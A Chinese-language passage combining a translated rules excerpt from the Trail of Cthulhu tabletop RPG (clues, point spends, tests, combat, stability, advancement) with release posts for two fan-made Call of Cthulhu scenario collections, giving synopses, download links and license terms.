或是守秘人可能会询问你或其他人是否有对应的技能，如果你的行动对应了剧本笔记中的线索，守秘人会提供你线索中的讯息

范例

懒散的业余收藏家维洛比·布斯洛伊德正在追踪一位疯狂的信徒——崇信忧格·索斯托的炼金术士，他搜寻毕架山寻找他们波士顿的总部，他的玩家扎卡里说：“我夕阳下山时漫步街上找寻橱窗中的练金术器具”。这是他必须做以获得通往下一个场景的线索——在大楼中对抗波士顿地区信徒的领导者，因此守秘人说：“你看到一个警报器在威灵顿法院旁一个早乔治王朝风格小房子的圆顶上散发著浓烈的紫光”。扎卡里甚至不需要特别强调他用了什么技能，他可以使用布斯洛伊德的建筑、化学、神祕学或甚至信誉(漫步在富裕的区域好像你是那里的一份子)寻找线索。

对于每个场景，守秘人会设计一个核心线索，这是你进入下一个场景必须的线索，因此你必须尽量的完成你的搜查行动，守秘人会避免令核心线索只能使用困难的调查技能，即使调查员团队通常几乎涵盖所有技能。即使调查员没要求线索，守秘人会让一位拥有适合技能的调查员知道他该知道的线索，如果你更了解GUMSHOE系统，你会更能天衣无缝的扮演你的角色，守秘人也能更合理的传递你需要的情报，通常调查员并不需要特别的技能去发现它，当一个玩家特别指定要调查某个区域，我们称这个动作为"简单搜索"，做到一个简单搜索，你必须靠近靠近你要调查物品或区域的范围。

以下是一些例子：

我找看看这个捲盖式书桌。
桶子里有什么东西吗？
马克森博士要检查厨房里的瓶子。

换句话说，拥有对应技能的角色可以搜集线索不需要特别指名，拥有证据采集的技能，许多线索变得可以简单的获取，象徵了你在场景中仔细找寻它们。

专注点数

有时候守秘人会给你额外的点数(但只能使用于某些特定的事物)，这些点数称作"专注点数"，通常来自于阅读书籍获得知识、一瞬间和外星人交流的经验、精神疾病或其他特别的刺激。在大多数的情况下，专注点数会先被花费掉，举例来说，如果你有2点考古学，而且你因为阅读古书而获得2点关于Valusian遗迹的专注点数，此时你拥有4点的考古学，但是其中两点只能用来调查失落的古代王国的遗迹或手艺品，这就像是把技能分类出来一样，例如区分警方交谈和安抚(虽然他们本质上一样)，但是区分太细会使你很难创造一个令人满意的调查员。

一整天审视在博物馆储藏间架子上的准备样品，我的眼睛被一幅深埋在许多旧羊皮纸里的奇怪的画给吸引了——克苏鲁的呼唤

有时调查员会直觉得注意某些奇怪的地方，通常这种情况会偶然的发生在他们经过的地方，调查员团队可能会经过一个隐密的门，注意到一小滴血迹在大理石大厅上，或靠近一个卡车发现车底装了炸弹，社交技能也可以用来发现这些不显眼的线索，最典型的例子就是一个角色的行为或动作使的他看起来很可疑，没有理由预期一个玩家要求使用他各式各样的技能在看似没有危险的场景中获得线索(像是厕所?)，否则他们得花费许多游戏时间在所有场景转换或是对于该用什么技能感到困惑(当对基本的调查不知道哪个技能合适时，就当作是证据采集)

花费

某些线索允许你再花费相应的技能点数后获得特殊的好处，每个好处花费1到2点，根据调查的难度和好处的大小。花费点数获得额外好处的行动称做**"花费"**，守秘人的笔记里会特别注明你可以花费一点获得好处Ｘ或是花费两点获得好处Ｙ，当询问你是否要花费时，守秘人永远会告诉你要花费多少点，在前面几个剧本里，你的守秘人会在你发现线索时提供你机会花费，之后这全然看你是否询问线索有无其他可以发现的地方。

你可以甚至提议特别的方法来使你获得更好的结果，如果你的建议是有说服力或有趣的，守秘人可能会给你特别的奖励(没有记载在守秘人笔记中)，任何从花费获得额外的资讯提供调味，但绝对不会是前往下一个场景必须的行动，通常这些好处让你的调查员更聪明、更值得信任，也可能让你花费更少时间，更漂亮的完成任务，给予你有用的帮助在接下来的故事中(像是让NPC对你有很好的印象)。

额外的讯息也可能在接下来的对抗中帮助你：发现修格斯喜欢电流、你的车子油箱空了、你的枪还没装子弹。有时额外的讯息会和你的动机、过去历史和生活紧紧绑在一起，如果你把TOC当成一个电视影集，额外的好处就是让演员扮演你的调查员更栩栩如生。

范例

“有任何方法进入这间房子吗？”扎卡里问，守秘人知道在这间房子的邻居地下室中有不少走私用的密道，对于接下来走进这间房子来说，这个讯息并不是必须的。

“你愿意花费1点建筑学或2点信誉吗？”守秘人问，如果扎卡里选择花费建筑学，布斯洛伊德会突然想起来他看过类似的乔治时期风格房子里有走私的密道，但是扎卡里选择更多的花费，减少他信誉点数从6点到4点，守秘人说：“正巧你前几个月参加小比克曼的社交晚会，他带你参观他酒窖中的老旧走私密道并说他曾经探索过很多1750年代以前的地下酒窖....”他就住在离这间屋子几个街远，你也确定他会很乐意的邀请你进入密道参观，这给了布斯洛伊德可能的伙伴或门路，一个可以安全撤退或没想到的入口。布斯洛伊德靠著比克曼的铃铛和拐杖说：“虽然如果你的红葡萄酒更好喝，我可能曾经看过这条通道，而且说到你的酒窖......”

一个好的守秘人总会试著想出某些有趣的奖励，无论这个奖励是不是在剧本中提及，因为这使得故事更生动、更有色彩。花费点数获得好处鼓励守秘人连接调查员更深入故事和整个世界中，给予巧妙的心理压力使调查员奋力活下去，甚至在通俗模式下可能可以藉由巨大的花费提高调查员信心而回复坚毅。因此提供有趣的好处给守秘人是有用的，如果你希望的调查方式使守秘人无法给予你好处，你并不会失去那些花费点数。

好处范例

这里有一些特殊的好处当你花费调查点数，这些好处让你在未来的对抗中得到优势。
你在开车之前发现你的汽车油箱被刺破
你在遇到修格斯前发现它会被电流所影响
你发现在围篱后面有一个小洞或是你知道警卫会在下午六点后下班
图纸显示这个炸弹必须保持水平否则会被触动
信誉可能可以让你会见精神分析师或医师等高等职业，让你留下好的印象给他们
你为原本的主人辨认和重新找出被偷窃的艺术品，他会非常愿意帮助你
你花费点数发现一个密室中的人质，你可以获得线索甚至用一般技能帮助他
你花费信誉遮掩你的失误或是贿赂档你路的人，这好处可能可以带到下一个场景
你发现一只昆虫并浮想起你在亚马孙盆地的时候，一只生物缓缓的爬行到你的脚上——当然并没有毒
威吓一个人可能可以让你免费的得到线索，不过花费两点安抚可以得到一样的线索且不会使他不愉快
一晚的纵情声色(奉承)可能可以让你获得线索，但是如果这违反了调查员的道德或审美观，花费信誉可能可以得到相同结果(进入知名餐厅或舞厅)
额外的花费点数可能可以加速调查
花费官僚包含奉承可能可以让摄影师动作快一点或是你的车可以快一点修好
对于你申请签证有的那些不可思议延迟可能会在你花费信誉而消失
花费点数可能会获得一些专注的额外奖励点数
花费文献查阅可能允许你专注的阅读一本书而获得一点历史奖励点数。
一个技艺技能花费可能可以让你创造一样著名的艺术品
一个学术技能花费可以让你写出有影响力的报告或是打入适当的学术圈中
艺术花费允许你创造一个雕刻或绘画
地理花费使你对于在太古时代石板上发现的不规则文物的研究书籍出版，在伦敦的上流社会广为流传
大量的花费点数可能甚至可以回复你的坚毅

检定

检定会发生在一个技能使用的结果有疑问时，检定只会发生于一般技能，不像调查线索，检定存在著相当高的机会失败，这可能预示了当你失败时可怕的后果或是当你成功时有利的优势，或是两者都有。即使是最基本的一般技能，守秘人应当只在重要的剧情点或是困难的任务要求检定。在有可能的额外奖励下，大多数的一般技能使用允许自动成功，就像调查技能一样。

TOC中有两种检定:普通检定和对抗。

困难度和故事进程

正如TOC系统中不断的给予调查员重要线索使调查员在许多场景中移动，守秘人必须确保可以继续搜索必须的检定和对抗是可以简单的通过，对于重要线索给予相对简单的困难度(4或是更低)，给予有趣但是非必要的好处较大障碍。

举例来说：如果有一个角色必须潜入在汉堡有纳粹军看守的仓库以进行最后的场景，给予检定相对低难度。如果现实上应该不容易通过严密的看守，给予一个合理的理由使潜入便容易。为了避免玩家太依赖单一选择的检定(除了那些会受伤或精神打击的)，给予其他的选项，像是如果你爬篱笆失败了，以可以改从下水道侵入。

可选择的方案——永远成功

这项规则是更贴近GUMSHOE的基本设计，但不一定适合所有人。如果一个检定的障碍是必须克服的，无论结果是什么都成功，但是如果你检定失败了，你必须承受负面的影响，像是玩家爬过了篱笆，但是被篱笆刮伤了。

普通检定

普通检定发生在调查员想要做一个困难的行动而不会受到其他事物直接的影响时，像是驾驶在险峻的道路、跳过缺口、潜入一栋建筑、射击一个目标、在门口设置陷阱或面对怪物时保持镇静，守秘人决定难度从2到8，其中2给予几乎不可能失败、8给予渺茫的成功希望，玩家掷一颗骰子，如果数字大于等于困难度，玩家成功。在投掷骰子之前，玩家可以决定花费不限点数的相应技能点，增加这些花费点到结果中。忘记在掷骰前宣告使用多少点数的玩家必须接受不可更动的结果，在游戏世界中，花费这些点数代表了调查员特别努力和集中精神做这件事，但在一次冒险中，你不可能总是专注于每件事情。

马丁想要攀爬过一个高大的墓园围牆看食尸鬼是否潜伏在另一边，守秘人希望调查员们能到牆的另一边，所以给予相对低难度3的检定，马丁的玩家乔什有8点的运动点数，他决定他必须爬过围牆，所以他花费一半的点数，骰子丢出5，最终结果是9，马丁展现了令人深刻的矫健身手，一眨眼间就翻跃过去。

原旨模式的设计在TOC中是为了使调查员处在绝体绝命的状态，损失的点数代表了损伤，而且调查员也比较容易分心，他们的直觉也不太可靠，为了忠实的展现感知，守秘人绝不告知困难度，在通俗模式中，调查员是老练的冒险者，本能的意识到自己的极限和将面对的困难，守秘人在这模式下可以公布部分的困难度，特别是常见的障碍如高牆、帮派成员、警犬。警觉的困难度永远不会告知，检定代表调查员做最好的努力去尝试，一旦失败你不能重试除非你做了别的行动使你的成功率上升，如果允许重试，你必须花费比上次更高的点数，如果你没有足够点数，你不能重试。

马丁和其他调查员困在下沉的船上，他想要修复一个坏掉的帮浦，马丁花了两点机械维修却仍在检定中失败，守秘人认为他们有时间可以在船下沉之前再试一次，现在马丁必须至少花费3点机械维修，幸运的是他还剩下4点，他丢出了6加上3点花费，结果为9，通过了困难度5的检定，马丁和他的队友成功的在下沉之前把帮浦修好了。

团队合作

共同行动

当调查员们採取一致行动，进行同一项任务，他们必须决定一个领导者，领导者花费任意点数做一个普通检定，其他调查员则花费相应的1点技能点数从领导人行动中获得一样的好处，这些点数不会增加到领导者的检定结果。无论是没有相应技能或是点数不足，每有一位没办法付出点数的调查员困难度上升2点。

布斯洛伊德, 马丁, 利蒂西娅和斯温伯恩教授试图潜入先前布斯洛伊德和利蒂西娅发现的邪教画廊为了瞭解更多有关‘Vernets’的画作，有著8点潜行的马丁领导大家，布斯洛伊德, 利蒂西娅和斯温伯恩分别有4,0,2点潜行，布斯洛伊德和斯温伯恩分别付出1点，他们的剩余点数下降到3,1，因为利蒂西娅没有点数可以花费，所以潜行的困难度从4升到了6(如果他们决定不让利蒂西娅一起进入，潜行任务将会更容易成功，但是她是不可缺少的艺术家)，马丁花费3点，但是他掷出1，如果没有利蒂西娅在检定将会成功，很显然的，利蒂西娅撞倒了花瓶发出震耳欲聋的声音，留下调查员进入的明显痕迹。

大多数情况下，不可能一组人马同时做同样的行动，同一时间只有一个调查员能开车，两个调查员使用物品整备检查他们"各自"的工具箱而非同一个工具箱。

合作

当两位调查员共同朝著同一个目标前进，他们认同彼此的作法，并且互相合作，领导人可以花费任意点数加入检定结果，协助者也可以花费任意点数增加检定结果，不过其中1点不会作用在结果上。

马丁和利蒂西娅正试图修复生鏽的敞篷车以从试图要杀掉他们的南方垃圾场的组织手中逃脱，马丁有4点机械维修而利蒂西娅有3点，他们决定马丁主要负责修复而利蒂西娅在一旁帮忙，马丁花费增加3点检定结果，利蒂西娅也花费3点但只有其中的2点会增加到检定结果，马丁丢出了2，检定结果7超越了困难度6，允许他们在一群汤姆森衝锋枪下驾驶著破车呼啸的经过垃圾场后的小巷。

对抗和追逐

对抗发生在两个角色(通常是调查员和NPC)意图阻挠对方，虽然对抗可能有很多种形式，在游戏中最常见到的对抗就是追逐了。在对抗中，每个参与方轮流行动，先在失败的一方输了这场对抗。由守秘人决定谁先开始，如果两方看起来是同时行动，有最低技能点的人先开始行动，还是一样的话，NPC比调查员先动。先动作的人做检定，轮流直到有一方失败为止。(妖梦：就像是Bang中的Duel一样?)

马丁穿过一个黑暗的小街躲避一位挥舞著匕首的邪徒，他的运动有6点，而邪徒是7点，由于他被追杀，他是第一个动的角色，他花费1点，丢出了4，通过了难度为4的检定，马丁成功的攀越了码头旁的小鱼市。邪徒也花费1点，丢出了3，他跳跃过了腐朽的栅栏，挥舞著手上的匕首追赶马丁，马丁花费另外1点，运动下降到了4，丢出了2，没通过检定，他滑了一跤跌倒在油腻腻的码头上，邪徒追上了他，马丁只好正面的和他战斗。

当成功的机率倾斜于某一方时，守秘人可以给予两方不同的困难度，优势的一方获得较低的困难度。

穿越一个泥泞的下水道，马丁发现他很难像追逐他的深潜者迅速的行动，此时马丁将面对难度4而深潜者只需要面对难度3。

在对抗中，调查员和守秘人应该合理解释骰子结果发生了什么事，这样一来，你们将不是呆版的接受结果，而是让这世界更加栩栩如生。

你可以设想某些使用调查技能对抗的情形：使用议价和别人讨价还价、使用信誉在一个稀有物的拍卖会上、使用信誉评估在一个西洋棋或扑克游戏中等等。这虽然是个诱人的想法，但是这将会使侦查能力受损，因此这些对抗只会发生在重要或是戏剧上的对决，就像战斗一样。如果只是个普通的场景，就像平常一样让调查员花费技能，获取线索吧。如果真的必须发生一个对抗，对方的点数不应该超过调查员1点以上，在任何情况下，在对抗中被击败并不代表不能进入下一个场景，只是会有些负面的影响，像是重要的NPC对你失去信心或是必须走一条更危险的路。

战斗

战斗是更複杂的对抗包含了下列的情形：

搏击vs搏击(近距离)
搏击vs近战武器(近距离)
近战武器vs近战武器(近距离)
枪械vs枪械(远距离)

攻击者是第一个攻击目标的人，如果攻击者和防御者的区分不明显，比较两方相应的技能，技能点高的人可以决定他要当攻击者还是防御者(不像普通的对抗，先攻击的一方通常是有利的)。当攻击者使用搏击、近战武器和枪械命中对手时，将可以造成伤害。

命中阈值

每个调查员会拥有3或4(运动在8以上)的命中阈值，命中阈值就是对手要命中你的困难度，少数NPC会有更低的命中阈值，不过邪教徒、盖世太保和类似的成员通常会比水平还要高；无论运动大小，生物通常会有4或更高的命中阈值，特别大的动物通常命中阈值只有1。

造成伤害

当你命中大于等于对手的命中阈值时，你对他造成伤害，你丢掷一颗骰子，并以加上你所持近战武器的调整值，如下表：

近战武器种类	伤害修正
拳、踢	-2
小型简易近战武器、棍、棒、鞭	-1
大型简易近战武器、大刀、重棍、火钳、轻枪械	0
刺刀、重枪械	+1

超自然的生物通常会有惊人的伤害加成。枪械在近距离下可以有+2的额外伤害；猎枪在近距离可视作重枪械；如果你双管猎枪在近距离下同时开火，+1额外伤害，因此，如果一个20毫米口径双管猎枪(通常是+0伤害修正)在近距离双管同时开枪，可以有+4伤害修正，更详细的枪支列表参看P.186。

最后的结果会削减你对手的健康，不像其他对抗，攻击者并不会因为检定失败而败北，不过和他对抗的角色可以用近距离攻击做一次检定，健康的减少可能会造成严重伤害或甚至失去意识。

棍棒、指虎、丢掷的硬币或各种类似的防身近战武器在普通的近战对抗中有-1伤害修正而非正常的-2，使用这些近战武器是搏击而非近战武器，在搏击vs搏击对抗中，使用棍棒的人最后行动。

团队战斗

战斗在两团人马或是一团人围殴一个人时会变得更混乱，守秘人将不採用攻击者/防御者模式，相反的，守秘人依据所有人开始战斗时的战斗技能点排列顺序，如果技能点数一样，调查员比敌人和生物优先行动，此外，先抵达战斗地点的人比后抵达的人先动。

每场战斗只会决定一次战斗顺序(并不会因为花费点数而产生变化)，每位角色做一个行动称做一轮，行动时，角色可以瞄准任何在他近战武器攻击范围内的敌人一次；有些神话生物每轮可以攻击数次，它们的攻击可能是分开的或是对聚在一起的调查员。

一旦战斗开始，如果有角色想要逃跑、丢掷手榴弹、跳跃至一个有掩蔽的位置等非战斗的行动，他们自动排到最后行动，因为他们暴露了自己脆弱的后背、摸索拔出插销等等。

生物可以决定攻击那些晕眩倒地或无助的敌人，只有最疯狂和敌视人类的敌人才会做这种事情。中途加入的角色顺序将排在最后，若有两者以上的人同时加入，参照上述规则排列顺序。战斗持续到一边被抓住或逃离战斗，或所有人员因为失去意识等其他原因无法继续战斗。

护具

护具可以减少某些类型的近战武器伤害，如果你戴上一个有效减少伤害的护具，那些近战武器类型对你造成的伤害都先扣去护具防护再减少你的健康。在1930年代并没有什么有效的全身防护护具。一个世界大战中出现的钢盔可以减少子弹和劈砍近战武器造成的2点伤害、棍棒等钝器造成的1点伤害--不过只对瞄准头部的攻击有作用。当然，守秘人可以斟酌像是厚重的皮夹克等重型外衣可以减少由小刀、小型简易近战武器、拳头、棍棒造成的1点伤害。

防弹衣

在早些年代防弹衣就像是黑帮的象徵一样，你穿著厚重的钢板以抵挡子弹和棍棒造成的2点伤害，不过对劈砍伤害就没有效果，而且穿上防弹衣要承受1点运动减值。在古老的年代调查员还是不要做些会让警察怀疑的事情。如果守秘人认为调查员无法闪过枪支造成的重伤害，一个简单的方案就是减少所有命中调查员的子弹伤害1点，或是更直接的方法就是不要安排使用枪支的敌人，虽然面对这些敌人将会给我们最原始的畏惧。

掩蔽

在枪战中，战斗员寻找掩蔽处，躲在牆、家具和其他障碍物后面，只露出一部份的身体以快速的跳出来向目标开火，在TOC中区分出三种状况。

暴露：没有任何障碍物阻挡你的敌人向你开火，你的命中阈值-1。
部分掩蔽：这是枪战中正常的状态，大概露出一半的身体，你的命中阈值不变，你若完全掩蔽在脆弱的障碍物后面像树叶、木板等等也算是部分掩蔽。
完全掩蔽：除非你跳出去开火，否则障碍物完全遮蔽住你的身影，你的命中阈值+1。

伤害、急救和死亡

不像大多数技能一样，你的健康点数可以低于0，不过你必须做个昏迷检定，难度就是你健康点数的绝对值，你可以强制的使自己保持清醒，减少点数以通过昏迷检定(不过不能低于-11)。

Micah正在被格隆涅克的信徒追赶，邪徒用一把古旧的匕首打中他使他健康掉到-2，Micah认为他不能昏过去，想要逃离邪徒的追赶，因此他花费2点健康直接痛过难度2的昏迷检定(因为他的健康值为-2)，不过这样他的健康将是-4。

当你的健康为0 ~ -5

你是受伤的状态，但并不是永久的伤口，但是伤口传来的疼痛让你无法专心寻找线索，你无法花费调查技能，而且所有检定和对抗的难度都+1(包含敌人的命中阈值)。

急救

有急救技能的角色能让你过得好一点，每花费1点的急救可以回复2点健康(治疗自己除外，治疗自己每点只能回复1点健康)，使用急救的角色必定是全心投注在救治，急救只能回复当个场景所造成的伤害，举例来说：你在一场战斗中被射中后又被揍一拳，你可以回复这些伤害；但如果你被射中，接著逃开，不幸的又被追上而被揍一拳，你只能回复被揍的伤害，此外，急救最多让你回复三分之一的健康，至于其他的回复健康方法可以参考回复技能。

当你的健康为-6 ~ -11

你伤的非常严重，你必须做一个昏迷检定，无论你有没有意识。你不能再继续战斗除非你被急救，你每半小时还会减少1点健康。

急救重伤

一位角色可以花费2点急救缓和你重伤的情形，这些点数不能回复健康，即便你的重伤及时稳定下来，你之后还是得住进医院养伤几天，你的住院天数是你健康最小值的绝对值(如果你健康曾经到达-8，即便你之后回复到多少，你依旧得住院8天)，你出院的那天，健康回到最大值的一半，隔一天，你的健康回到最大值。

不致命攻击

玩家可能会选择让调查员使用博斗做些不致命的擒抱动作，这些攻击不会使目标健康低于-11，只会使对手必须做个昏迷检定，守秘人可以允许使用无刀刃的近战武器也可以做这种攻击，不过并没有不致命的枪械，不希望他们调查员杀人的玩家不应该让调查员在面对人类的时候使用致命近战武器。

恢复坚毅

在游戏场景中恢复坚毅

面临疯狂边缘的调查员，在冒险途中能够经由朋友的明智忠告，或是通俗模式下从自我伟大的成就来回复坚毅。

心理治疗

拥有精神分析技能的调查员可消费技能点数来帮助他人恢复已消费的坚毅点数。该消费者可不进行其他动作，且必须作一个难度4的精神分析检定(神职人员及精神病学家难度为3)。若尝试失败，该消费者不可对同一角色进行重试，直到该角色损失更多坚毅点数。每一点消费的精神分析点数（不包含进行检定需要的点数消费）可使对象获得2点坚毅点数。

若调查员因为精神疾病而行为异常，另一调查员可消费精神分析（精神病学家1点，其他2点）来使他暂时保持清醒。此情形的消费者需要作一个精神分析检定（难度3）。对象在目前场景的剩余部分或直到他下一次遭受坚毅损失前会暂时清醒。

信心

通俗模式下若玩者要求她的调查员进行一次消费，且守秘人与其他玩者都同意该结果令人特别印象深刻，她可以掷一颗骰子并回复等同于该骰点数的坚毅来反映该调查员回复的信心。一个场景中只能进行一次信心掷骰；在一个场景中进行多于一次的信心掷骰是不太寻常的。

深潜者们正在追踪著马丁与他的队伍和逐渐惊慌失措的图书馆员NPC，艾格尼丝·鲍特利，经过圣地牙哥图书馆。艾格尼丝的尖叫已经吸引警卫与疑似克苏鲁教徒的不受欢迎的注视，于是马丁的扮演者乔什决定解决这个问题。他消费1点马丁的安抚，让马丁注视著艾格尼丝的双眼。“女士，”他以低沉且镇静的语气说道，“我知道妳感觉如何，因为我以前也是如此。那些东西杀了我的伙伴，还差点杀了我。所以我并不打算让他们了结我——我会在他们从妳开始之前先走一步。但那并不会发生，因为我俩今晚就会逃出这里。”乔什精湛的角色扮演，结合马丁透露出被折磨的过去，明显地感动了守秘人与其他的玩者。守秘人立刻宣告艾格尼丝镇定下来……她还想起了一条逃出图书馆的路。守秘人也示意乔什继续并掷一次信心骰。掷出了4，让马丁回复了4点坚毅。

回复技能点数

不同种类的点数会以不同的速率恢复，取决于它们的性质。

复原调查技能点数

调查技能点数只会在每个事件结束时回复，无关游戏世界中经过了多久的时间。试图节省技能的玩家可能会询问事件在实际时间中通常会进行多久。大部分的队伍会在2-3个场景中完成剧本。玩家可能会换个方式去细心地管理点数消费，就如同他们知道通常队伍能多快解决事件一般。

守秘人在进行有多个片段的长调查时，可能会指定一些事件作为复原调查技能的中断点。例如在一段长途调查中，队伍会在五个不同的地点遇见邪徒，守秘人可能会准许在击破各团敌人后复原调查技能点数。

复原一般技能点数

任何调查员能够找到暂时避难所，让他们在一个小时或更久的时间内可以免于遭受危险与恐怖的时候，他们最多可以复原三个健康、心智和坚毅以外的一般技能。但在避难所被侵入或变危险时，他们会失去所有复原的点数。通俗模式下的神枪手，这更是个用以回复枪械技能的绝佳时机。

在一个场景中，角色只能获得一次这种加速复原的机会。

另外，与身体相关的技能，例如运动、驾驶、枪械、逃脱、船只驾驶、搏击和近战武器，从上次使用后算起24小时(游戏世界时间)回复。其他的一般技能，与调查技能同在每个事件结束时恢复。

复原健康

健康会随著时间恢复，每进行休息活动一天恢复2点。(受伤的角色以住院时间计算，见伤害、急救和死亡) 使用急救技能在一个场景能回复有限的健康点数。

在冒险间复原坚毅

在故事中，队友的私生活只是背景的一部分细节而已；调查员的坚毅在冒险间会自动恢复。

通俗模式下在使用坚毅来源的战役中，调查员必须分出一点平静、不受打扰的时间陪伴他们，并暂时忘却克苏鲁神话的阴暗世界。想在战役中加入肥皂剧要素的守秘人可以使这个程序複杂化：调查员必须制衡日常生活带来的压力，以及秘密战斗员等等在超自然界的行动。在这种战役中，调查员必须确保他们支援网络的完整。若他们失败了，他们在章节间不会恢复坚毅。

复原心智

在原旨游戏中，遗忘是不可能的事情，只有经由药物与烂醉不省人事才能找到精神上的慰藉。心智不会复原。

在通俗模式下调查结束时，所有参与的调查员可能会在击败神话要素后要求奖赏。“击败神话要素”意指杀死或放逐主要怪物，击破邪教派，或是拯救无辜的目标或城镇。

奖赏由守秘人自由决定，而且不能超过冒险中可能的最高心智损失。较好的奖赏范围是恢复1-2点心智；在通俗的游戏中会更多。在最简单的游戏中，调查员的心智点数会从这类奖赏回复至满点。

迷惑戏法

精神疾病可以经由精神分析的长治疗来治癒。在剧本主要章节前的开场白，进行治疗的角色作一个精神分析检定。检定的难度通常是4；在原旨游戏中，难度等于患者克苏鲁神话等级的两倍或是4，取高者。在连续三次成功的检定后，且该患者的坚毅在连续三个剧本中任何时候都高于0时，精神疾病会痊癒。

尽管如此，若是该调查员再度罹患精神疾病，会再度得到之前的症状。如此则让该精神疾病变得不可能根治。

这类长治疗也可以用来替换破碎的信念或被否定的动机。调查员不得同时替换超过一个信念或动机，且每3点心智不得拥有超过一个信念。

同样的方式也可以自我妄想来鼓舞患者。这是个心理学概念，提供相当于患者损失的心智或10减去克苏鲁神话取低的“虚假心智”。然而，下次患者损失2点或更多的心智时将会摧毁这道否定壁垒，所有的“虚假心智”也将失去。在治疗效果存在的三个脚本间，患者使用克苏鲁神话时必须取消这道治疗法。

彭布罗斯医生试图说服马丁过去的恐怖经验都有办法合理的解释。他成功地通过了一系列三个的精神分析检定。马丁开始游戏时有10点心智，然后他在剧本结束后损失了6点。马丁目前拥有等级3的克苏鲁神话。彭布罗斯医生可以虚假地回复失去的一半心智(3点)，让马丁回复到了7点心智。（若马丁拥有等级4的克苏鲁神话，他只能从彭布罗斯医生的治疗法回复2点的虚假信心，因为他的心智会被限制在10-4=6）但后来马丁损失了2点心智，他将会同时损失彭布罗斯的迷惑戏法带来的3点，总计损失5点。若马丁只损失1点心智，则他还能够绝望地说服自己知晓的世界是有所意义的。

改进你的调查员

在调查结束时，每个玩者每阶段获得2点构筑点数。(假设进行几次3-4小时的阶段；若时间较短则跟著调整。)调查员在调查期间死亡的玩者将只会得到他们角色参与阶段的点数

这些构筑点数可以1:1比例来增强调查或一般技能。你可以选择获得新技能或是增强现有的。若有必要保持真实度，可以透过先前已经精通，只是单纯在之后的故事中显现的手法来将新的技能合理化。

你也可以提出技能生疏的理由，来重新分配1点或2点构筑点数：“我成天在图书馆里面耗掉的时间让我的摄影技巧生疏了。”

你不能在信誉、克苏鲁神话或心智上以此方法增减点数。守秘人可能调高你的信誉等级（若你找到埋藏的宝藏，或因为国王的差事而被福乐将军授予勳章）或降低（若你任由你的亲友或社交网络在冒险间渐渐疏于连络，或你的农场在沙尘暴期间被吹走）。

在原旨游戏中，没有方法可以改进你的调查员。他在饱受折磨后仍幸运地坚持到底。但守秘人仍可能让你重新分配点数。

【COC剧本集】【古城事件簿】古城诡秘 - 重制版

Wed, 10 Aug 2022 00:00:00 GMT

剧本集简介

适用于COC7th规则。
本剧本集包含了古城事件簿的前三篇剧本。
重置了先前的老版本，对排版、部分描述及一些细节进行了大面积调整，修改了部分展示材料。

欢迎来到古城市——一个沉淀着厚重历史而又在现代化进程中突飞猛进的城市。你将作为守密人带领着一群调查员朋友，在这座城市以及它周边的地区展开一系列令人激动而汗毛耸立的诡秘冒险。

《古城诡秘》是一部面向于有一些带团经验的新手守密人的剧本集，并且在剧本中附注了许多有助于守密人在游戏中做出决策的带团提示。至于调查员，无论他们是从未接触过克苏鲁的呼唤的新手调查员还是已经身经百战的老手，都可以在古城体验克苏鲁神话的独特魅力。

《古城诡秘》原设定发生在中国。守密人也可以根据需要将故事背景修改为世界上任何一个国家，并将该剧本集的一篇或多篇剧本放入任何一个战役(建议修改NPC的姓名及地名以切合背景，并且不建议游戏中枪械的大规模使用)。

《古城诡秘》包含三个游玩时间约6-10小时不等的中篇剧本，推荐按照剧本集中的排序进行游玩。

关于古城市

由于曾是数代王朝的都城，古城市有着丰厚的历史底蕴。除去遍布在城市的古建筑之外，古城市的地下不知埋藏着多少历史的遗物。

<details class="spoiler-details"><summary>剧本简介（剧透警告！）</summary> 《校园黑色怪谈》——调查员将身陷一场由拥有着奈亚拉托提普的信徒和古城中学的校长双重身份的史建西策划的阴谋。在校园中，调查员将面对许多难题：失踪的学生、精神失常的教职工、隐秘的地下密室、宇宙深处的邪恶……

《深埋地底的呼唤》——一场地铁施工意外挖出了不该面世的地下陵墓，沉眠在这里的除了历经时间浪潮的文物以外，还有时刻想要冲破封印的罗伊格尔。在坍塌的地下陵墓里，萦绕在调查员身边的除了谜团之外，还有罗伊格尔带来的悲伤氛围。

《可曾遇见梦中仙境》——在这篇剧本中，调查员将体验到“有些不同”的游戏。因为一群猫咪不太成熟的求助手段，调查员意外进入了梦境中的世界。他们将在梦境的世界中亲身体验一场20余年前真实发生在古南山脉的令人匪夷所思的神秘事件。</details>

更新历史

2022.08.10更新（当前版本）
重制版发布

下载地址

蓝奏云：https://masternoah.lanzoui.com/i5qpjiv5j0d
百度网盘：https://pan.baidu.com/s/1VmgjGL97Br8SplxqhUd9PQ （提取码：NOAH）
dicecho页面：古城诡秘 | 模组 | 骰声回响 (dicecho.com)

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)联系我:

需要展示材料可编辑版本的文件\剧本word版
制作包括但不限于视频\小说等有可能产生利益的二次创作
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：

制作衍生产物并获取收益
在商业活动情况下使用该剧本
除个人使用之外印刷该剧本

【COC剧本】【古城事件簿Ex③】奈落之蛹 by Asase Ayako

Wed, 10 Aug 2022 00:00:00 GMT

剧本简介

适用于 COC7th 规则
适于 2 - 3 名调查员共同进行冒险
预计游戏时长 4-5 小时 (面团)
故事发生于 2021 年的中国·古城市（架空城市）
偏向于调查的半开放式剧本

剧本背景

《奈落之蛹》是古城系列的短篇外传性质剧本，内容与古城系列其他剧本没有太大关联，稍作修改后可以单独进行游玩。

在《奈落之蛹》中，调查员将牵扯进一起绑架案的调查。

古城科技大学拥有两个附属学校——古城科技大学附属中学与古城科技大学附属小学。这两所学校坐落在古城科技大学对面的家属区内，与古城科技大学本部通过一座天桥连接着。

古城科技大学家属院拥有很严格的出入制度：家属院居民需要进行出入登记、除小学低年级外不允许家长直接进入家属院接送孩子，等等。但意外还是发生了：2021年11月18日晚，一名古科附中学女生·祝可与一名古科附小学男生·李嘉冉被相继发现失踪……

下载地址

百度网盘：https://pan.baidu.com/s/1JQ7VA9PUjGMcbAuuV0Vpdg （提取码：NOAH）
蓝奏云：https://masternoah.lanzouy.com/icQAG09bg13g

其它信息

本剧本基于CC-BY-NC-SA 4.0协议共享，请遵守协议条款。

如有以下需求,请通过我的邮箱(noahtie@foxmail.com)或添加我的qq(571364304)

需要展示材料可编辑版本的文件或剧本word版
进行有可能产生利益的二次创作（包括但不限于视频、小说等）
有关于剧本中的问题

禁止在未经授权的情况下，将该剧本用于任何有可能产生收益或变相谋取经济效益的情景，包括但不限于：
